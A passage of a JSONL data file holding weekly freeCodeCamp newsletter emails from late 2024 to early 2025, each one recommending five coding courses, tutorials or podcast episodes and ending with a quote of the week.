freeCodeCamp podcast", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.739873"}
{"id": "gh_26859fac09ea", "question": "How to: Feb 23, 2025", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. If you want to expand your coding skills, consider learning Object-Oriented Programming (OOP). In this freeCodeCamp handbook, you'll learn about Inheritance, Prototypes, Object Blueprints, and other OOP concepts. Along the way you'll see tons of straightforward JavaScript code examples that you can implement yourself for practice. (full-length handbook): https://www.freecodecamp.org/news/how-to-use-classes-in-javascript-handbook/\n\n2. Learn how to code your own 3D browser games using the popular Three.JS JavaScript library. This step-by-step tutorial will teach you how to build your own browser-playable clone of the Frogger-like game Crossy Road. You'll learn how to render a polygonal map, animate cars, move the player character, detect collisions, and more. (1 hour read): https://www.freecodecamp.org/news/how-to-code-a-crossy-road-game-clone-with-threejs/\n\n3. On this week's freeCodeCamp podcast, I interview a self-taught software engineer who learned to code in her 30s without spending a single penny. Julia Undeutsch is an accessibility expert who works at a large European company. She talks about how she used freeCodeCamp to learn while working full time. She also shares her adventures in Japan, where she has given many tech talks in Japanese. She's a super warm person and I think you'll enjoy learning from her journey. (1 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/she-taught-herself-coding-at-age-30-for-zero-dollars-podcast-160/\n\n4. Learn Kubernetes for beginners. freeCodeCamp instructor Beau Carnes will teach you how to deploy your own microservice architecture-based apps to the cloud using Kubernetes and Amazon's Elastic Kubernetes Service. You'll learn Kubernetes deployment patterns and how to manage real-world production environments. (1 hour YouTube course): https://www.freecodecamp.org/news/learn-kubernetes-and-eks-for-deployment/\n\n5. Learn user management in Linux. This tutorial covers user privilege tiers and permission scope, which dictate who can access which system operations and background processes. Not only does this tutorial teach you broader concepts – it solidifies those through tons of command line interface examples. You can bookmark this handy reference for the next time you're assigning roles on a Linux server. (15 minute read): https://www.freecodecamp.org/news/learn-user-management-in-rhel-a-comprehensive-guide/\n\nQuote of the Week: *\"I was in my early thirties, and I never thought about coding in the sense that I could do it. Of course, I always found coding cool. I always thought it's cool when I see it in the movies, like, 'How can people be so smart and program this?' But not me. I mean, I'm old. I'm a woman. Never, ever. But my younger brother told me, 'You still have to work at least 30 to 40 years. You can still do everything you want.'\"* — Julia Undeutsch, Software Engineer, Accessibility expert, and freeCodeCamp alumna", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.739884"}
{"id": "gh_b79ed61a343c", "question": "How to: Feb 15, 2025", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published a full-length handbook that will teach you how to code in TypeScript. It's a type-safe superset of JavaScript. That means you'll be using the same JavaScript syntax and techniques you've already learned from freeCodeCamp, but with fewer errors thanks to static type checking. This book also teaches some front-end development concepts with React and Vite. Worth a read. (full-length handbook): https://www.freecodecamp.org/news/learn-typescript-with-react-handbook/\n\n2. freeCodeCamp also published a comprehensive course to prepare you (or your kids) for the Cambridge A-Level Computer Science exam. This exam is similar to Advanced Placement exams in the US or International Baccalaureate exams in other countries. So this course should be helpful for students regardless of where they live. It covers foundational CS concepts, algorithms, data structures, and other topics you'll encounter on the exam. (3 hour YouTube course): https://www.freecodecamp.org/news/learn-a-level-computer-science-concepts\n\n3. On this week's freeCodeCamp podcast, I interview Peggy Wang. She's a robotics engineer who grew up in Milwaukee, used freeCodeCamp to learn to code, and ultimately got into Stanford. She's worked on augmented reality at Oculus, self-driving cars at Google Waymo, and is now building AI agents. During our conversation, she helps separate AI hype from reality, and delves deep into her hopes for humanoid robots. (2 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/from-freecodecamp-to-cto-with-robotics-engineer-peggy-wang-podcast-159/\n\n4. If you've ever wondered how GitHub's command line SSH authentication works, this quick read will walk you through the technical details. You'll learn about Symmetric and Asymmetric Encryption, Cryptographic Hash Functions, and other infosec concepts. (20 minute read): https://www.freecodecamp.org/news/ssh-authentication-with-github-under-the-hood/\n\n5. One tool developers often use to catch errors in their code is logging. This tutorial will give you a brief intro to logging best practices in Python. You'll learn about logging levels like DEBUG and CRITICAL, and how to monitor the flow of your apps. (10 minute read): https://www.freecodecamp.org/news/what-are-logs-in-programming/\n\nQuote of the Week: *\"The gap between simulation and reality is getting narrower. Grand Theft Auto is just one example. Graphics level. Fidelity. If you're able to rig up all the controls a robot would use in a 3D video game, and you train it with scenarios that the robot would encounter in real life, you should be able to generalize that to the real world.\"* — Robotics Engineer and freeCodeCamp alum Peggy Wang on how developers now use simulated environments supercharge the AI training process. You can hear my full interview with her on this week's podcast.", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.739895"}
{"id": "gh_ca78291b98b9", "question": "How to: Feb 8, 2025", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published a comprehensive course on modern web development using powerful tools like Next.js, React, and Strapi. This is an intermediate course, but you can code along at home even if you're a beginner. You'll build a fully-functional summer camp website, complete with event management, pagination, form handling, and more. (6 hour YouTube course): https://www.freecodecamp.org/news/build-a-full-stack-app-with-nextjs-and-strapi\n\n2. Learn clustering algorithms in Python. This freeCodeCamp handbook will teach you key techniques for Unsupervised Machine Learning so you can build more sophisticated AI systems. You'll learn about K-Means Clustering, Hierarchical Clustering, DBSCAN Clustering, t-SNE, and more. We've included a ton of code examples and data visualizations to make it easier for you to digest all of these engineering insights. (full length handbook): https://www.freecodecamp.org/news/clustering-in-python-a-machine-learning-handbook/\n\n3. On this week's podcast, I interview Rishab Kumar about his journey from working at a gas station to working at Google as a software engineer. He couldn't afford to finish university in Canada, so he taught himself DevOps and how to build cloud infrastructure. We talk about how he persisted in applying to jobs at big tech companies despite rejections, and how he earned tons of cloud engineering certifications along the way. He shares actionable advice for anyone who wants to get into the field. (1 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/from-gas-station-to-google-self-taught-cloud-engineer-rishab-kumar-podcast-158/\n\n4. If you're interested in security – and you should be – then this handbook is for you. You'll build your own scalable access control system for your apps. First you'll start by exploring the open source CASL library, a popular off-the-shelf tool for authorizing user access. Then you'll set to work coding your own permissions validation framework. (full-length handbook): https://www.freecodecamp.org/news/how-to-build-scalable-access-control-for-your-web-app/\n\n5. Learn asynchronous programming with TypeScript. If you already know some JavaScript, you can probably pick up TypeScript pretty easily. It's just JavaScript with statically typed variables, which results in fewer bugs. We recently upgraded our open source freeCodeCamp codebase from JavaScript to TypeScript. Anyway, this handbook will teach you key Async programming concepts like Promises, Callbacks, and Async/Await. (full-length handbook): https://www.freecodecamp.org/news/learn-async-programming-in-typescript-promises-asyncawait-and-callbacks/\n\nQuote of the Week: *\"If I was going to start learning programming from zero, where I had zero context, I'd learn IT fundamentals: how networking works, how the internet works, DNS, how packets transfer data, how computers communicate with each other. Because at the end of the day, all these servers in the cloud use networking to talk to each other. The second skill I'd spend my time on is learning how Linux works.\"* — Rishab Kumar, software engineer and my guest on this week's freeCodeCamp podcast", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.739906"}
{"id": "gh_a85f89af98d2", "question": "How to: Feb 1, 2025", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. A few days ago a Chinese hedge fund released a surprisingly powerful Large Language Model called DeepSeek. Developers trained this model for a fraction of the cost that GPT-4o and Claude required. The model is open-weight, and you can run it offline on your own hardware. I'm thrilled to say that freeCodeCamp has already published a comprehensive course to help you get up and running with DeepSeek. My friend Andrew Brown is a CTO and AI enthusiast, and he teaches this course, which will help you learn this new tool and its capabilities. (2 hour YouTube course): https://www.freecodecamp.org/news/how-to-use-deepseek-r1/\n\n2. Learn Object Oriented Programming (OOP) with Python. OOP is a classic paradigm for writing maintainable code. You'll learn key concepts like Inheritance, Encapsulation, Abstraction, Polymorphism, and more – all with hands-on Python examples. (3 hour YouTube course): https://www.freecodecamp.org/news/master-object-oriented-programming-in-python/\n\n3. This week on the freeCodeCamp podcast, I interview Lane Wagner, a software engineer and prolific freeCodeCamp contributor. He runs a popular website for learning back end development. We talk about his thoughts on computer science degrees, his love of the Go programming language, and his freeCodeCamp course on developer careers that more than 3 million people have watched. (2 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/getting-a-developer-job-lane-wagner-podcast-157/\n\n4. Learn how to code your own book recommendation engine using Python. This course will teach you how to use a Large Language Model to process book titles and descriptions. It will then surface recommendations for books you might like in a dashboard. You'll learn about Data Cleaning, Vector Databases, Langchain, Zero-shot Classification, Sentiment Analysis, and more. And if your resulting project works well, you may never again need to wonder which book you should read next. (2 hour YouTube course): https://www.freecodecamp.org/news/build-a-semantic-book-recommender-using-an-llm-and-python/\n\n5. Learn how to write Clean Code. This is a popular approach to building maintainable software. And this handbook will teach you all about code readability, clean project structures, best practices for comments, testing, and more. (full length handbook): https://www.freecodecamp.org/news/the-clean-code-handbook/\n\nQuote of the Week: *\"AI can't save you if your code is a mess. It's like building a house on sand. Sure, it stands for a while. But one strong gust of wind or one big wave and it collapses. Remember: AI is just a tool. If you don't know how to write clean, scalable applications, you're setting yourself up for failure.\"* — Shahan Chowdhury, developer and freeCodeCamp contributor", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.739916"}
{"id": "gh_d2f29d6b407d", "question": "How to: Jan 25, 2025", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published a comprehensive guide to the famous \"NeetCode 150\" – the 150 most important LeetCode algorithm problems. If you're gearing up for technical job interviews, this should be a good use of your time. You'll learn Graphs, Trees, Linked Lists, Dynamic Programming, and more. (38 hour YouTube course): https://www.freecodecamp.org/news/prepare-for-technical-interviews-using-neetcode-150\n\n2. Learn about Webhooks by coding your own Discord bot. This freeCodeCamp tutorial will walk you through setting up a Next.js codebase, configuring your environment variables, and creating a Discord Server Action. You can then use this project as the boilerplate for building future bots to do tasks for you and your friends. (20 minute read): https://www.freecodecamp.org/news/integrate-discord-webhooks-with-nextjs-15-example-project/\n\n3. On this week's freeCodeCamp podcast, I interview Google Brain Machine Learning Engineer Jiquan Ngiam. We talk about the limits of AI, and separate hype from current capabilities. We discuss how AI agents work, how non-developers can leverage AI, and how skilled developers can REALLY leverage AI to get things done. Plus I perform a song from the 1988 Nintendo Double Dragon II soundtrack. (2 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/ai-reality-vs-speculation-jiquan-ngiam-podcast-156/\n\n4. If you're interested in information security, you may enjoy this crash course on Metasploit, a powerful Penetration Testing tool. You'll learn about Exploits, Payloads, Auxiliary Modules, and more. (10 minute read): https://www.freecodecamp.org/news/learn-metasploit-for-beginners/\n\n5. And if you want a more hands-on infosec project, try building your own Real-Time Intrusion Detection System using Python. You'll learn about Packet Capturing Engines, Network Traffic Analysis, and Alert Systems. Then you'll wire these all together using Python's scapy, numpy, nmap, and scikit-learn libraries. (20 minute read): https://www.freecodecamp.org/news/build-a-real-time-intrusion-detection-system-with-python/\n\nQuote of the Week: *\"I used to think that being able to think, code, and communicate simultaneously was an impossible feat, until I realized that most people are just not good at coding interviews when they first start out. Interviewing is a skill that you can get better at by studying, preparing, and practicing for it.\"* — Yangshun Tay, FAANG Software Engineer and freeCodeCamp contributor", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.739925"}
{"id": "gh_a564892942a9", "question": "How to: Jan 18, 2025", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. Learn how to read academic papers so that you can stay on top of the latest breakthroughs in computer science and software engineering. Yacine is an engineer and researcher, and in this freeCodeCamp course he'll walk you through how he approaches reading papers. You'll learn how to quickly gain context, fill your conceptual gaps, and analyze datasets & codebases. You'll also learn a bit about common mathematical notation, and how to avoid being daunted by academic terminology. (2 hour YouTube course): https://www.freecodecamp.org/news/understanding-deep-learning-research-tutorial-theory-code-and-math/\n\n2. Learn about the emerging field of AI Engineering, which is essentially adding AI to existing websites and apps. 90% of AI Engineering is just good old-fashioned web development with a few new tools and APIs sprinkled in. This handbook will give you an overview of the field, with case studies and helpful career tips for getting started. (full-length handbook): https://www.freecodecamp.org/news/the-ai-engineering-handbook-how-to-start-a-career-and-excel-as-an-ai-engineer/\n\n3. On this week's freeCodeCamp podcast, I interview software engineer Elliot Arledge about building new AI systems from scratch. Elliot has taught several popular freeCodeCamp courses, including one on GPU programming with CUDA. He shares his own approach to reading academic papers – an important skill – and tips for assimilating new concepts quickly. (2 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/cuda-gpu-programming-elliot-arledge-podcast-155/\n\n4. Learn how AI is now being applied to agriculture to increase crop yields. freeCodeCamp just published this book that will give you insight into optimized crop cultivation techniques. You'll learn about Precision Agriculture, pest & disease management, soil moisture monitoring, sustainable land use strategies, harvest automation, and more. (full-length book): https://www.freecodecamp.org/news/ai-in-agriculture-book/\n\n5. GitHub Actions are a powerful tool for automating aspects of your developer workflow. They can save you and your collaborators a lot of time by listening for certain events, then automatically taking pre-determined actions. freeCodeCamp just published a tutorial that will show you how to get up and running with GitHub Actions on your own Git repositories. (20 minute read): https://www.freecodecamp.org/news/learn-to-use-github-actions-step-by-step-guide/\n\nQuote of the Week: *\"All the wonders of our universe can in effect be captured by simple rules. Yet there can be no way to know all the consequences of these rules, except just to watch and see how they unfold.\"* – Stephen Wolfram, mathematician and computer scientist", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.739935"}
{"id": "gh_cc7ac0fe09b0", "question": "How to: Jan 11, 2025", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published a comprehensive course that will teach you fundamental Machine Learning concepts, then show you how to deploy your own Generative AI systems to the cloud. You'll learn about model training, optimization, autonomous agents, and more advanced techniques like Retrieval-Augmented Generation. This course is taught by my friend Andrew Brown – a CTO who has spent years architecting elaborate systems. (23 hour YouTube course): https://www.freecodecamp.org/news/learn-generative-ai-in-23-hours/\n\n2. Learn how to code your own home automation system. This project-oriented “Internet of Things” course will teach you how to write software to monitor the temperature, air quality, and air pressure in your home. You can use inexpensive off-the-shelf hardware like Raspberry Pi and ESP32 microcontrollers. You'll learn about server design, database management, communication protocols, and control interfaces. (1 hour YouTube course): https://www.freecodecamp.org/news/learn-iot-home-automation-by-building-a-project/\n\n3. Many people rely on spreadsheets to do their jobs, but few people actually invest the time to master these powerful tools. This new freeCodeCamp course will teach you tons of useful spreadsheet techniques. You'll build 33 different spreadsheet projects – getting exposure to Visual Basic scripting, advanced formulas, and tons of time-saving keyboard shortcuts. (4 hour YouTube course): https://www.freecodecamp.org/news/master-spreadsheets-by-building-33-projects/\n\n4. This Web Development tutorial will show you how to ramp up the performance of your Next.js and React apps. You'll learn about caching, font optimization, code splitting, lazy loading, and more. (20 minute read): https://www.freecodecamp.org/news/optimize-nextjs-web-apps-for-better-performance/\n\n5. And this Machine Learning tutorial will teach you how to handle non-linear data using a technique called Support Vector Machine Kernel Functions. This is vital for classification tasks like medical image analysis, speech recognition, or time-series forecasting. Enjoy. (30 minute read): https://www.freecodecamp.org/news/svm-kernels-how-to-tackle-nonlinear-data-in-machine-learning/\n\nQuote of the Week: *\"It is not knowledge, but the act of learning – not possession, but the act of getting there – which generates the greatest satisfaction.\"* — Carl Friedrich Gauss, 18th century Mathematician and Astronomer", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.739944"}
{"id": "gh_c2f785bd1285", "question": "How to: Dec 21, 2024", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published a new course that will help you prepare for the AWS Certified Solutions Architect Professional exam, and pass it with confidence. Andrew Brown is a CTO who has passed dozens of similar cloud cert exams. He'll teach you all about Virtual Private Clouds, cloud databases, serverless functions, and tons of AWS-specific security and storage tools. (70 hour YouTube course): https://www.freecodecamp.org/news/aws-solutions-architect-professional-sap-c02-certification-course\n\n2. Each week somebody writes asking for me to share some more Java-focused courses. Well, I'm thrilled to say that freeCodeCamp just published a course on the Spring Boot web development framework that will walk you through integrating AI capabilities into your Java apps. You can code along at home and build several projects that incorporate AI APIs like an audio transcription tool, a recipe generator, and a question & answer chatbot. (4 hour YouTube course): https://www.freecodecamp.org/news/build-smarter-spring-boot-applications-with-spring-ai\n\n3. On this week's podcast, I interview software engineer James Q. Quick about how he approached his job search after a recent layoff. James grew up in Memphis and was an athlete who also played violin. He knew nothing about computer science, but chose it as his college major. Since then, he's not only worked as a dev at Microsoft, FedEx, and many tech startups. He's also given more than 100 talks at developer conferences. He talks about how his Harry Potter Trivia app helped launch his career. And he shares tons of advice for how to make a name for yourself through writing tutorials and giving conference talks. (90 minute watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/how-to-get-a-developer-job-even-in-this-economy-james-q-quick-podcast-153/\n\n4. Learn game development fundamentals and code your own 2D platformer game. This course will teach you how to code your own JavaScript game that runs right in a browser, which will make your game extremely easy to share with your friends. You'll learn how to use the Kaplay JS library to load sprite art assets, handle collisions, react to controller inputs from players, and more. You'll even learn how to deploy your game to a publishing platform like itch. (4 hour YouTube course): https://www.freecodecamp.org/news/learn-game-development-with-javascript-and-kaplay\n\n5. You may have heard the term “User Stories.” These are a key concept in Agile software development. User Stories are essentially feature specifications, but they're written from the perspective of what your end users are actually trying to accomplish. This comprehensive tutorial will teach you how to create good user stories that can guide you and your team as you build features for your apps. This tutorial will also show you quite a few examples of well-designed user stories, and share some tips for how to structure them. You'll also learn about some common pitfalls developers encounter when crafting user stories, so that you can avoid them. (20 minute read): https://www.freecodecamp.org/news/how-to-write-user-stories-for-beginners/", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.739966"}
{"id": "gh_d26ac780449b", "question": "How to: Dec 14, 2024", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published a course by computer science professor Dr. Radu. It will teach you how to use math to simplify your code. You can code along at home and build a musical polyrhythm app that procedurally generates sounds and visualizes them using JavaScript. You’ll learn how to structure your code for readability and maintainability – all while seeing how math underpins these concepts. (1 hour YouTube course): https://www.freecodecamp.org/news/learn-how-math-can-make-your-code-better-by-coding-polyrhythms/\n\n2. Elasticsearch is a powerful open source tool that tons of apps use for their search bars. freeCodeCamp just published a course that will show you how you can deploy your own real-world search engine that you can incorporate into your apps. You'll learn about Index Management, Tokenization, Embedding, Ingest Processors, Data Pipelines, Aggregations, and more. (5 hour YouTube course): https://www.freecodecamp.org/news/learn-elasticsearch-with-a-comprehensive-beginner-friendly-course/\n\n3. On this week's episode of the freeCodeCamp podcast, I interview Scott Tolinski. He's the host of the world's most popular web developer podcast, Syntax FM. We talk about how 12 years ago he sustained a serious head injury while breakdancing that sidelined him for 9 months. But he made good use of this downtime and slowly built a programming tutorial empire. He shares insights from his career of working for tiny agencies, giant companies, and everything in between. He also shares some productivity tips that have helped keep him from burning out over the decades. (2 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/scott-tolinski-syntax-podcast-interview/\n\n4. freeCodeCamp also published this CI/CD Handbook. CI/CD stands for Continuous Integration and Continuous Delivery. It's an important process in software development, and this handbook will teach you how it works. You'll learn about Docker, GitHub Actions, Branch Management, and a ton of cloud deployment concepts. (90 minute read): https://www.freecodecamp.org/news/learn-continuous-integration-delivery-and-deployment/\n\n5. R is a popular statistical programming language, and it has its own web development framework called Shiny. This tutorial will show you how to build your own weather data dashboard app using R Shiny. You'll start by setting up the project. Then you'll get keys for your data API, and wire them into your dashboard. Along the way, you'll learn about Geocoding, Error Handling, Reactivity, and more. (30 minute read): https://www.freecodecamp.org/news/how-to-build-a-weather-app-with-r-shiny/\n\nQuote of the Week: *\"People who discover the power and beauty of high-level, abstract ideas often make the mistake of believing that concrete ideas at lower levels are worthless and might as well be forgotten. On the contrary, the best computer scientists are thoroughly grounded in basic concepts of how computers actually work. The essence of computer science is an ability to understand many levels of abstraction simultaneously.\"* — Donald Knuth, programmer and mathematician", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.739976"}
{"id": "gh_320c349238df", "question": "How to: Dec 7, 2024", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published a course that will teach you the fundamentals of React, the most popular front end development JavaScript library. This course will teach you key concepts as you code along at home, building several projects including a meme generator and an AI-powered chef's recipe app. This course teaches emerging best practices, and the newest version of React, React 19. (16 hour YouTube course): https://www.freecodecamp.org/news/learn-react-2024\n\n2. freeCodeCamp also just published a full-length book on how to design your own Microservices and deploy them to the cloud. Microservice Architecture is a software development approach where you build stand-alone apps that only do one specific thing. Then these Microservices call upon one another to get more complicated things done. This differs from the traditional Monolith approach, where everything's part of the same codebase. This intermediate book will teach you about Synchronous versus Async Communication, RESTful APIs, Protocol Buffers, Container Orchestration, CI/CD Pipelines, and more. It also features case studies from companies that have adopted Microservices, such as Amazon and Netflix. (full-length book): https://www.freecodecamp.org/news/the-microservices-book-build-and-manage-services-in-the-cloud/\n\n3. One of my favorite podcast interviews I've done was with John Washam, a software engineer at Amazon. John's also the creator of one of the most popular open source projects of all time: Coding Interview University. This is John's first-ever appearance on a podcast, so we go really in-depth. We talk about his years working as an interpreter in the US military. Then we dive into how he taught himself software engineering, and what he's learned from climbing the ranks at a big tech company. If you're learning to code later in life, this should be particularly helpful for you. (3 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/how-john-washam-crammed-for-8-months-got-a-job-at-amazon-then-taught-1000s-of-other-devs-134/\n\n4. Don't be content merely using spreadsheets – excel with them. Pun intended. Last week I shared my podcast interview with Eamonn Cottrell, who runs a coffee shop chain and learned to code so he could automate back office tasks. Well, Eamonn's back with a new course that will teach you how to fully leverage the power of Google Sheets. You'll learn about data validation, slicers, visualizations, and even building custom functions using App Scripts. (2 hour YouTube course): https://www.freecodecamp.org/news/learn-google-sheets-course-for-beginners/\n\n5. Tell your Spanish-speaking friends: freeCodeCamp just published a comprehensive course on how to build robots using Arduino microcontrollers. It covers electrical engineering concepts like resistance, pin declarations, and analog input/output. You'll learn how to add your own sensors, control motors, LED displays, and more. Note that we have English-language Arduino courses, too. (4 hour YouTube course): https://www.freecodecamp.org/news/learn-arduino-in-spanish-course-for-beginners/\n\nQuote of the Week: *\"The most amazing achievement of the computer software industry is its continuing cancellation of the steady and staggering gains made by the computer hardware industry.\"* — Henry Petroski, Engineer, Author, and Duke University professor, lamenting the sloppy coding practices he'd seen in industry", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.739988"}
{"id": "gh_2a13e0ee44f8", "question": "How to: Nov 29, 2024", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. If you already know a little JavaScript and want to learn Python, too, this handbook is for you. It will turbo-charge your learning by teaching you the similarities between these two high level scripting languages. You'll learn how each language approaches Syntax, Data Structures, Modules, Error Handling, and more. You'll even get some side-by-side script comparisons so that you can appreciate the nuanced differences in how these languages get things done. My humble advice is to learn both of these languages, and to learn them well. They will only become more and more central to software development over the next 20 years. (full-length handbook): https://www.freecodecamp.org/news/learn-python-for-javascript-developers-handbook/\n\n2. Learn how to run Large Language Models on your own computer – no cloud servers required. This course will teach you how to use Ollama to run the Llama LLM. You'll be able to access its APIs and Python libraries so you can build AI-powered apps locally. Along the way, you'll apply these new skills to build your own grocery list organizer, Retrieval Augmented Generation system, and recruitment agency app. (3 hour YouTube course): https://www.freecodecamp.org/news/local-ai-development-with-ollama-course/\n\n3. On this week's episode of the freeCodeCamp podcast, I interview Eamonn Cottrell. He's a software engineer who taught himself how to code while running a local chain of coffee shops in Knoxville. He has largely automated a lot of the back office tasks for his shops, and is helping other people do the same. He's already published 37 freeCodeCamp tutorials on productivity and automation using spreadsheets. We talk about his love of coffee and latte art, ultra-marathoning, and how he balances being a musician with the practical realities of providing for a family of 6. Super inspiring. (2 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/self-taught-coding-automating-coffee-shop-chain-eamonn-cottrell-interview-151/\n\n4. Learn HTML Canvas by coding your own meme generator website. You can code along at home with this tutorial and build a simple website that creates memes where you can customize the text that appears on top of an image. This is a beginner-level project that will only take a few hours. It will give you hands-on practice with some powerful web development tools. (15 minute read): https://www.freecodecamp.org/news/create-meme-generator-using-html-canvas/\n\n5. When you run a popular app, you probably don't want to deploy new features to all of your users at the same time. You instead want to test those features out with a small subset of your users. That's where Feature Flags come in handy. This tutorial will teach you how to add Feature Flags to a Golang app, so that you can more safely roll out new code. (25 minute read): https://www.freecodecamp.org/news/build-a-flexible-api-with-feature-flags-using-open-source-tools/\n\nQuote of the Week: *\"Language choice is not as important as all the other choices: if you have the right overall architecture, the right team of programmers, the right development process that allows for rapid development with continuous improvement, then many languages will work for you. If you don't have those things you're in trouble regardless of your language choice.\"* — Peter Norvig, Software Engineer and AI researcher at Stanford", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740000"}
{"id": "gh_9de270e342d8", "question": "How to: Nov 22, 2024", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published a comprehensive course on Flutter – a popular framework for building Android and iOS apps at the same time. We think Flutter is awesome, and use it to build and maintain freeCodeCamp's own mobile apps. This beginner-level course will teach you Flutter by walking you through step-by-step as you code your own clone of the Spotify app. (10 hour YouTube course): https://www.freecodecamp.org/news/create-a-full-stack-spotify-clone-with-flutter/\n\n2. Reverse Engineering is when you want to build your own version of an app, but don't know how it was implemented – you only have the finished product to serve as your guide. This tutorial will give you a methodology for reverse engineering websites so you can get practice implementing features you see in the wild. (30 minute read): https://www.freecodecamp.org/news/how-to-reverse-engineer-a-website/\n\n3. On this week's freeCodeCamp podcast, I talk with Tim Ruscica, software engineer and host of the popular Tech with Tim YouTube channel. We talk about how Tim learned computer architecture as a kid by playing Minecraft, then managed to land a Microsoft internship when he was just 19. He also shares his insights on learning to code, and why he recommends Python as a first programming language: “It's the least overwhelming thing to get your hands dirty.” (2 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/tech-with-tim-freecodecamp-podcast-150/\n\n4. Learn how to manage the state of your React apps using Redux and Redux Toolkit. This freeCodeCamp JavaScript course will teach you powerful design patterns you can use to shape the experience of your users. You'll learn about middleware, hooks, async actions, immutable state updates, and more. (8 hour YouTube course): https://www.freecodecamp.org/news/learn-redux-and-redux-toolkit-for-state-management/\n\n5. Whether you're a developer or a semi-technical decision maker on a team, you'll benefit from understanding modern development frameworks and what they bring to the table. This comprehensive guide will break down the many framework categories for you, so that you can choose the right tools for the job. You'll learn about AI frameworks, UI frameworks, testing tools, infrastructure tools, and more. (30 minute read): https://www.freecodecamp.org/news/understanding-modern-development-frameworks-guide-for-devs/\n\nQuote of the Week: *\"If you're 5-10 years old and your main circle isn't frequently discussing: PWA vs Native app, TypeScript vs JavaScript, Flutter vs React Native – and are instead discussing: Playdough, LEGOs, Goldfish... then it's time to elevate your circle.\"* — Ben Awad, software engineer and freeCodeCamp contributor. And yes, he means this as a joke.", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740010"}
